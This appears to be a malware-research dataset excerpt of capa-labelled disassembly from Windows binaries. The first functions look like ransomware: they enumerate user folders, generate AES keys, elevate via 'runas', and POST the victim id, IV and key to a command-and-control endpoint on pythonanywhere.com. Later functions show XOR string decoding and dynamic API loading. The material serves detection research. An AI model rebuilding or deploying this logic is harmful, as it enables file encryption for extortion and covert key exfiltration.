joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014b8
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rbp + 0xd0], rax
movups xmm0, xmmword [str.Content_Type:_application_json]
mov eax, dword [0x140004790]
mov r9d, 0x41
mov dword [rsp + 0x58], eax
mov rdi, r8
movzx eax, word [0x140004794]
lea r8, [rbp - 0x70]
movups xmmword [rsp + 0x40], xmm0
mov rbx, rdx
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x140004788]
lea edx, [r9 - 0x21]
mov al, byte [0x140004796]
movsd qword [rsp + 0x50], xmm0
mov byte [rsp + 0x5e], al
call fcn.14000168c
mov r9d, 0x21
lea r8, [rsp + 0x60]
mov rcx, rbx
lea edx, [r9 - 0x11]
call fcn.14000168c
lea rax, [rbp - 0x70]
mov r9, rdi
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov edx, 0xec
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x20], rax
call fcn.140001dd0
xor ebx, ebx
lea rcx, str.TLD13Browser_12.0
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], rbx
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], ebx
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], rbx
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], rbx
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rsi, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
lea rcx, [rbp - 0x20]
mov rdi, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rsp + 0x40]
mov rbx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r8, rax
mov dword [rsp + 0x20], ebx
lea r9, [rbp - 0x20]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, 0x41
lea rcx, [rbp - 0x70]
call fcn.140001dbc
mov edx, 0x21
lea rcx, [rsp + 0x60]
call fcn.140001dbc
mov edx, 0xec
lea rcx, [rbp - 0x20]
call fcn.140001dbc
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140001f70
add rsp, 0x1e0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140001724
Capabilities:
Query environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x170
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rax, str._USERPROFILE_Desktop
mov r14, r8
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x20]
lea rax, str._USERPROFILE_Documents
mov rbp, rdx
mov qword [rsp + 0x28], rax
mov rsi, rcx
lea rax, str._USERPROFILE_Pictures
xor ebx, ebx
mov qword [rsp + 0x30], rax
lea rax, str._USERPROFILE_Music
mov qword [rsp + 0x38], rax
lea rax, str._USERPROFILE_Videos
mov qword [rsp + 0x40], rax
lea rax, str._USERPROFILE_Downloads
mov qword [rsp + 0x48], rax
mov rcx, qword [rdi]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x1400017c7
mov r9, r14
lea rcx, [rsp + 0x50]
mov r8, rbp
mov rdx, rsi
call fcn.140001b3c
inc ebx
add rdi, 8
cmp ebx, 6
jb 0x14000179c
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140001f70
add rsp, 0x170
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x1400017f0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rdx
mov dword [rbp - 0x40], 0x2c
mov rbx, rcx
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp - 0x50]
mov r9d, 0x18
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400018d3
mov rcx, qword [rbp - 0x50]
lea r9, [rbp - 0x48]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x1400018c7
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x38]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x1400018bd
mov r8d, 0x20
lea rdx, [rbp - 0x2c]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0x2c
lea rcx, [rbp - 0x38]
call fcn.140001dbc
mov rcx, qword [rbp - 0x50]
mov r8, rdi
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001f70
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400018f4
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov word [rbp - 0xc], 0x500
lea rax, [rbp - 0x18]
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rbp - 0x18], rbx
mov dword [rbp - 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001979
mov rdx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rbp - 0x20]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001f70
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret

Function at 0x14000199c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001dd0
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r8, rax
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001a1c
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x1400019cc
xor eax, eax
jmp 0x140001a21
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001f70
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001a48
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x50
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov rdi, rcx
xor r9d, r9d
movups xmm1, xmmword [0x140004750]
xor r8d, r8d
lea rdx, [0x140004768]
movups xmmword [rax - 0x38], xmm0
lea rcx, [rsp + 0x70]
movups xmmword [rax - 0x28], xmm1
mov eax, dword [0x140004760]
mov dword [rsp + 0x40], eax
mov al, byte [0x140004764]
mov byte [rsp + 0x44], al
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
test eax, eax
js 0x140001b2c
xor esi, esi
xor ebx, ebx
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x68]
xor r9d, r9d
lea r8d, [r9 + 1]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x140001b20
movzx eax, byte [rsp + 0x68]
cmp al, 0xfc
jae 0x140001aa8
mov ecx, eax
movabs rax, 0xe38e38e38e38e38f
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
mov al, byte [rsp + rcx + 0x20]
mov byte [rbx + rdi], al
lea eax, [rsi + 1]
inc rbx
mov esi, eax
and eax, 0x80000003
jge 0x140001b06
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140001b17
cmp rbx, 0x27
jge 0x140001b17
mov byte [rbx + rdi], 0x2d
inc rbx
cmp esi, 0x21
jl 0x140001aa8
mov byte [rdi + 0x27], 0
mov rcx, qword [rsp + 0x70]
xor edx, edx
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140001b3c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b8]
sub rsp, 0x3b8
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rbx, r8
mov r12, r9
mov r9, rcx
mov qword [rsp + 0x30], rbx
mov r13, rdx
lea r8, str._s
mov rsi, rcx
mov edx, 0x104
lea rcx, [rbp + 0x190]
call fcn.140001dd0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140001cec
test byte [rsp + 0x40], 0x10
lea rcx, [rsp + 0x6c]
je 0x140001c3d
lea rdx, [0x140004ed4]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001cb6
lea rdx, [0x140004ed8]
lea rcx, [rsp + 0x6c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001cb6
lea rax, [rsp + 0x6c]
mov r9, rsi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x80]
call fcn.140001dd0
lea rcx, [rbp + 0x80]
call fcn.14000199c
test eax, eax
jne 0x140001cb6
mov r9, r12
lea rcx, [rbp + 0x80]
mov r8, rbx
mov rdx, r13
call fcn.140001b3c
jmp 0x140001cb6
mov edx, 0x2e
call sub.VCRUNTIME140.dll_strrchr
mov r14, rax
test rax, rax
je 0x140001cb6
xor ebx, ebx
lea rdi, section..data
mov rdx, qword [rdi]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001c7a
inc ebx
add rdi, 8
cmp ebx, 0x57
jb 0x140001c58
mov rbx, qword [rsp + 0x30]
jmp 0x140001cb6
lea rax, [rsp + 0x6c]
mov r9, rsi
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rbp + 0x80]
call fcn.140001dd0
mov rbx, qword [rsp + 0x30]
lea rcx, [rbp + 0x80]
mov r8, rbx
mov rdx, r13
call fcn.1400011a4
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001bb4
mov rcx, rsi
call fcn.14000199c
test eax, eax
jne 0x140001ce3
mov rdx, r12
mov rcx, rsi
call fcn.140001104
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140001f70
add rsp, 0x3b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x140001d10
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x1b8
mov rax, qword [0x140007300]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
call fcn.1400018f4
test eax, eax
jne 0x140001da1
mov r8d, 0x104
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001da1
xor edx, edx
mov dword [rsp + 0x20], 0x70
lea rcx, [rsp + 0x24]
lea r8d, [rdx + 0x6c]
call sub.VCRUNTIME140.dll_memset
and qword [rsp + 0x28], 0
lea rax, str.runas
and dword [rsp + 0x50], 0
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001da1
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140001f70
add rsp, 0x1b8
ret
Function at 0x10011cf18
Capabilities:
Get disk information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
xor r12d, r12d
lea r9, [rax + 0x10]
xor r8d, r8d
xor edx, edx
mov rbp, rcx
mov ebx, r12d
mov rsi, r12
mov dword [rax + 0x10], r12d
mov dword [rax + 0x18], r12d
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
lea r14, [0x100002f60]
lea r13, [0x1001653b8]
cmp eax, r12d
jne 0x10011cfcd
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
cmp eax, r12d
cmovle ebx, eax
cmp ebx, 0x800700ea
jne 0x10011d02f
mov eax, dword [rsp + 0x68]
mov ecx, 0xffffffff
add rax, rax
cmp rax, rcx
jbe 0x10011cfa1
mov ebx, 0x80070216
jmp 0x10011d12e
mov ecx, eax
mov edi, eax
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov rsi, rax
cmp rax, r12
jne 0x10011cfbd
mov ebx, 0x8007000e
jmp 0x10011d119
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.msvcrt.dll_memset
mov ebx, r12d
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x70]
mov rdx, rsi
mov rcx, rbp
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp eax, r12d
jne 0x10011d070
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
cmp eax, r12d
cmovle ebx, eax
mov rcx, qword [0x1001653b8]
cmp rcx, r13
je 0x10011d120
test byte [rcx + 0x1c], 1
je 0x10011d120
cmp byte [rcx + 0x19], 2
jb 0x10011d120
mov edx, 0x33
jmp 0x10011d106
mov rcx, qword [0x1001653b8]
cmp rcx, r13
je 0x10011d157
test byte [rcx + 0x1c], 1
je 0x10011d135
cmp byte [rcx + 0x19], 2
jb 0x10011d135
mov rcx, qword [rcx + 0x10]
mov edx, 0x32
mov r9, rbp
mov r8, r14
mov dword [rsp + 0x20], ebx
call fcn.10001daa4
jmp 0x10011d12e
mov rbp, rsi
cmp word [rsi], r12w
je 0x10011d119
mov rcx, qword [0x1001653b8]
cmp rcx, r13
je 0x10011d0a9
test byte [rcx + 0x1c], 1
je 0x10011d0a9
cmp byte [rcx + 0x19], 4
jb 0x10011d0a9
mov rcx, qword [rcx + 0x10]
mov edx, 0x34
mov r9, rbp
mov r8, r14
call fcn.10001da24
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
cmp eax, r12d
je 0x10011d0d4
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
repne scasw ax, word [rdi]
not rcx
lea rbp, [rbp + rcx*2]
cmp word [rbp], r12w
jne 0x10011d07d
jmp 0x10011d119
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
cmp eax, r12d
cmovle ebx, eax
mov rcx, qword [0x1001653b8]
cmp rcx, r13
je 0x10011d120
test byte [rcx + 0x1c], 1
je 0x10011d120
cmp byte [rcx + 0x19], 2
jb 0x10011d120
mov edx, 0x35
mov rcx, qword [rcx + 0x10]
mov r9, rbp
mov r8, r14
mov dword [rsp + 0x20], ebx
call fcn.10001daa4
mov rcx, qword [0x1001653b8]
cmp rsi, r12
je 0x10011d135
mov rcx, rsi
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [0x1001653b8]
cmp rcx, r13
je 0x10011d157
test byte [rcx + 0x1c], 1
je 0x10011d157
cmp byte [rcx + 0x19], 4
jb 0x10011d157
mov rcx, qword [rcx + 0x10]
mov edx, 0x36
mov r8, r14
call fcn.10001c7b8
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x2006afb0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx eax, byte [0x205640f8]
cmp al, 0x58
je 0x2006afe0
mov cl, 0x28
nop word cs:[rax + rax]
mov al, 0x85
lock cmpxchg byte [0x205640f8], cl
je 0x2006afe5
cmp al, 0x58
jne 0x2006afd0
call fcn.20078e30
mov eax, 0x820c24da
mov ecx, 0x7df3db3c
mov edx, 1
mov r8d, 0x820c24db
mov r9d, 0xaaaaaaab
lea r10, [0x205640e0]
lea r11, [0x2046cc80]
nop
mov esi, ecx
imul rsi, r9
shr rsi, 0x24
shl esi, 3
lea esi, [rsi + rsi*2]
lea edi, [rax + rsi]
add esi, r8d
movzx ebx, byte [rsi + r11]
xor bl, 0xbe
add byte [rdx + r10 - 1], bl
movzx ebx, byte [rdi + r11]
xor bl, 0xbe
add byte [rdx + r10], bl
add eax, 0xfffffffe
add ecx, 2
add rdx, 2
add r8d, 0xfffffffe
cmp rdx, 0x19
jne 0x2006b010
mov al, 0x58
xchg byte [0x205640f8], al
call fcn.20078e30
int3

Function at 0x2006b070
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
movzx eax, byte [0x20564110]
cmp al, 0xb1
je 0x2006b0a0
mov cl, 0x78
nop word cs:[rax + rax]
mov al, 0x4b
lock cmpxchg byte [0x20564110], cl
je 0x2006b0ac
cmp al, 0xb1
jne 0x2006b090
lea rcx, [0x20564100]
call fcn.2007a760
mov eax, 0xd
lea rcx, [0x20564100]
lea rdx, [0x2046cca0]
nop
lea r8d, [rax - 1]
and r8d, 0xe
xor r8, 0xf
movzx r8d, byte [r8 + rdx]
xor r8b, 0x79
add byte [rax + rcx - 0xd], r8b
mov r8d, eax
not r8d
and r8d, 0xe
movzx r8d, byte [r8 + rdx]
xor r8b, 0x79
add byte [rax + rcx - 0xc], r8b
add rax, 2
cmp rax, 0x1d
jne 0x2006b0c0
mov al, 0xb1
xchg byte [0x20564110], al
lea rcx, [0x20564100]
call fcn.2007a760
int3
Function at 0x2006b4e0
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
cmp qword [0x205ebcf0], 0
jne 0x2006b6bb
movzx eax, byte [0x205642ed]
cmp al, 0x31
je 0x2006b5c0
mov cl, 0x1b
nop dword [rax + rax]
mov al, 0x9f
lock cmpxchg byte [0x205642ed], cl
je 0x2006b525
cmp al, 0x31
jne 0x2006b510
jmp 0x2006b5c0
mov ecx, 0xdf63809
mov r8d, 0xdf63808
xor r10d, r10d
movabs r11, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x2046cdd0]
lea rdi, [0x205642e0]
nop dword [rax + rax]
mov rax, rcx
mul r11
mov r9, rdx
mov rax, r8
mul r11
shr rdx, 2
imul rax, rdx, 0xfffffffffffffff3
add rax, rsi
add rax, 0xdf63806
movzx edx, byte [r10 + rdi]
xor dl, byte [r10 + rax + 2]
xor dl, 0x18
mov byte [r10 + rdi], dl
cmp r10, 0xc
je 0x2006b5b8
shr r9, 2
imul rax, r9, 0xfffffffffffffff3
add rax, rsi
add rax, 0xdf63809
movzx edx, byte [r10 + rdi + 1]
xor dl, byte [rax + r10]
xor dl, 0x18
mov byte [r10 + rdi + 1], dl
add r10, 2
add rcx, 2
add r8, 2
jmp 0x2006b550
mov al, 0x31
xchg byte [0x205642ed], al
movzx eax, byte [0x20564304]
cmp al, 0xc2
je 0x2006b690
mov cl, 0xfc
nop word cs:[rax + rax]
mov al, 0x6e
lock cmpxchg byte [0x20564304], cl
je 0x2006b5f5
cmp al, 0xc2
jne 0x2006b5e0
jmp 0x2006b690
mov ecx, 0xc7abc2f0
lea r9, [0x2046cde0]
mov r10d, 0xc7abc2f2
add r10, r9
lea r8, [rcx + 2]
xor r11d, r11d
movabs rsi, 0x2e8ba2e8ba2e8ba3
lea rdi, [0x205642f0]
mov ebx, 0xc7abc2f1
nop word [rax + rax]
mov rax, r8
mul rsi
shr rdx, 2
imul r14, rdx, 0xffffffffffffffea
mov rax, rcx
mul rsi
shr rdx, 2
imul rax, rdx, 0xffffffffffffffea
add rax, r9
add rax, r11
movzx edx, byte [r11 + rdi]
xor dl, byte [rbx + rax]
movzx eax, byte [r11 + rdi + 1]
xor dl, 0x71
xor al, byte [r10 + r14]
mov byte [r11 + rdi], dl
xor al, 0x71
mov byte [r11 + rdi + 1], al
add r11, 2
add r10, 2
add r8, 2
add rcx, 2
cmp r11, 0x14
jne 0x2006b630
mov al, 0xc2
xchg byte [0x20564304], al
lea rcx, [0x205642e0]
call sub.KERNEL32.dll_LoadLibraryA
test rax, rax
je 0x2006b6b2
lea rdx, [0x205642f0]
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
jmp 0x2006b6b4
xor eax, eax
mov qword [0x205ebcf0], rax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [0x205ebcf0]

Function at 0x20078f10
Capabilities:
Write file on windows

Disassembly:
mov r9, r8
mov r8, rdx
mov edx, 1
jmp fcn.20402760

Function at 0x2007a6e0
Capabilities:
Read file on windows

Disassembly:
mov r9, r8
mov r8, rdx
mov edx, 1
jmp fcn.204070ac

Function at 0x2007d010
Capabilities:
Encrypt data using speck

Disassembly:
mov ecx, ecx
mov r9d, 0x24b0c7e0
jmp fcn.20084730

Function at 0x2007d020
Capabilities:
Encrypt data using speck

Disassembly:
mov edx, ecx
mov r9d, 0xe37e340c
jmp fcn.20084730

Function at 0x2007d030
Capabilities:
Encrypt data using speck

Disassembly:
mov ecx, ecx
mov r9d, 0xb89cef1b
jmp fcn.20084730
Function at 0x200a3ef0
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
movzx eax, byte [0x2056a018]
cmp al, 0xf4
je 0x200a3f20
mov cl, 0xb4
nop word cs:[rax + rax]
mov al, 0x4a
lock cmpxchg byte [0x2056a018], cl
je 0x200a3f25
cmp al, 0xf4
jne 0x200a3f10
call fcn.200a7b00
mov r9d, 0xda920361
lea r10, [0x2046f4f0]
mov r11d, 0xda920362
add r11, r10
lea rcx, [r9 + 1]
xor esi, esi
movabs rdi, 0x8618618618618619
lea rbx, [0x2056a000]
mov r8d, 0xda920361
nop dword [rax + rax]
mov rax, rcx
mul rdi
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul r14, rax, 0xffffffffffffffeb
mov rax, r8
mul rdi
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0xffffffffffffffeb
add rax, r10
add rax, rsi
movzx edx, byte [rsi + rbx]
xor dl, byte [r9 + rax]
movzx eax, byte [rsi + rbx + 1]
xor dl, 0x79
xor al, byte [r11 + r14]
mov byte [rsi + rbx], dl
xor al, 0x79
mov byte [rsi + rbx + 1], al
add rsi, 2
add r11, 2
add rcx, 2
add r8, 2
cmp rsi, 0x18
jne 0x200a3f60
mov al, 0xf4
xchg byte [0x2056a018], al
call fcn.200a7b00
int3
Function at 0x201198b0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rdi, r9
mov rsi, r8
mov ebx, edx
mov r14, rcx
mov rax, qword [0x205da420]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov eax, edx
and eax, 0x3f
cmp eax, 0x11
ja 0x20119949
cmp eax, 8
jae 0x20119987
mov r12d, ebx
cmp eax, 3
ja 0x201199bf
mov ebp, esi
mov r13d, r14d
cmp eax, 0x1c
jae 0x20119a07
cmp eax, 0x17
jae 0x20119a30
cmp eax, 0x13
jbe 0x20119a82
cmp eax, 0x14
je 0x20119d2f
cmp eax, 0x15
jne 0x20119d43
lea r15, [0x205ebf90]
jmp case.0x20119a1e.7
cmp eax, 0xa
jae 0x20119a4e
add byte [rax], al
mov r15d, 0xffffffff
add eax, 0xffffffe4
lea rcx, [0x2047203c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, rsi
call fcn.20421e98
xor r15d, r15d
jmp case.0x20119a1e.7
jne 0x20119a9b
test ebp, ebp
je 0x20119d28
mov r15, r14
test ebx, 0x100
je 0x2011a49f
jmp 0x2011a059
cmp eax, 0xe
jae 0x20119abd
mov r15, r14
jmp 0x20119b00
cmp eax, 0x12
jne 0x20119c1a
mov rcx, rsi
call fcn.20423908
xor r15d, r15d
jmp case.0x20119a1e.7
cmp eax, 0x19
jbe 0x20119c23
cmp eax, 0x1b
jne 0x20119e1f
mov rcx, rdi
call fcn.20421e38
xor r15d, r15d
jmp case.0x20119a1e.7
cmp eax, 0xf
ja 0x20119c31
mov r12d, 0x8bfb0bc1
cmp eax, 0xe
je 0x201199a2
jmp 0x20119bc6
test edi, edi
dec dword [rcx + rcx*4 - 7]
movzx r15d, r14b
jmp case.0x20119a1e.7
jne 0x20119e2b
xor r15d, r15d
cmp eax, 0x11
jne case.0x20119a1e.7
lock dec dword [rsi + 8]
cmove r15, rsi
jmp case.0x20119a1e.7
movzx eax, byte [0x2057bd06]
movzx eax, byte [0x2057bd39]
mov rcx, r14
call fcn.20422308
mov r15d, eax
jmp case.0x20119a1e.7
mov r15, qword [rdi + 8]
test r15, r15
test edi, edi
test r13d, r13d
jne 0x20119f8b
jmp 0x2011a4d3
mov rax, qword [rsi + 8]
mov rcx, qword [rdi + 8]
cmp rcx, qword [rax + 8]
sete al
cmp dword [rsi], r13d
sete cl
and cl, al
movzx r15d, cl
jmp case.0x20119a1e.7
xor ebp, ebp
jmp 0x2011a1b9
mov rcx, rdi
call fcn.2007ad00
mov r15, rdi
test ebp, ebp
jne 0x20119d67
jmp case.0x20119a1e.7
mov r15d, 0xffffffff
jmp case.0x20119a1e.7
lock inc dword [rdi + 8]
xor r15d, r15d
jmp case.0x20119a1e.7
movzx r15d, sil
jmp case.0x20119a1e.7
ud2
Function at 0x2013b6f0
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
cmp qword [0x205ec2c8], 0
jne 0x2013b8cc
movzx eax, byte [0x205819cd]
cmp al, 0xb6
je 0x2013b7cd
mov dl, 0xdb
nop dword [rax]
mov al, 0x5a
lock cmpxchg byte [0x205819cd], dl
je 0x2013b735
cmp al, 0xb6
jne 0x2013b720
jmp 0x2013b7cd
mov r8d, 0xc7c9d9fd
lea r9, [r8 + 1]
xor r11d, r11d
movabs rsi, 0x4ec4ec4ec4ec4ec5
lea rax, [0x20472e10]
mov edi, 0xc7c9d9f8
add rdi, rax
lea rbx, [0x205819c0]
nop word cs:[rax + rax]
mov rax, r9
mul rsi
mov r10, rdx
mov rax, r8
mul rsi
shr rdx, 2
imul rax, rdx, 0xfffffffffffffff3
add rax, rdi
movzx eax, byte [r11 + rax + 5]
xor al, 0x68
add byte [r11 + rbx], al
cmp r11, 0xc
je 0x2013b7c5
shr r10, 2
imul rax, r10, 0xfffffffffffffff3
add rax, rdi
add rax, 6
movzx eax, byte [rax + r11]
xor al, 0x68
add byte [r11 + rbx + 1], al
add r11, 2
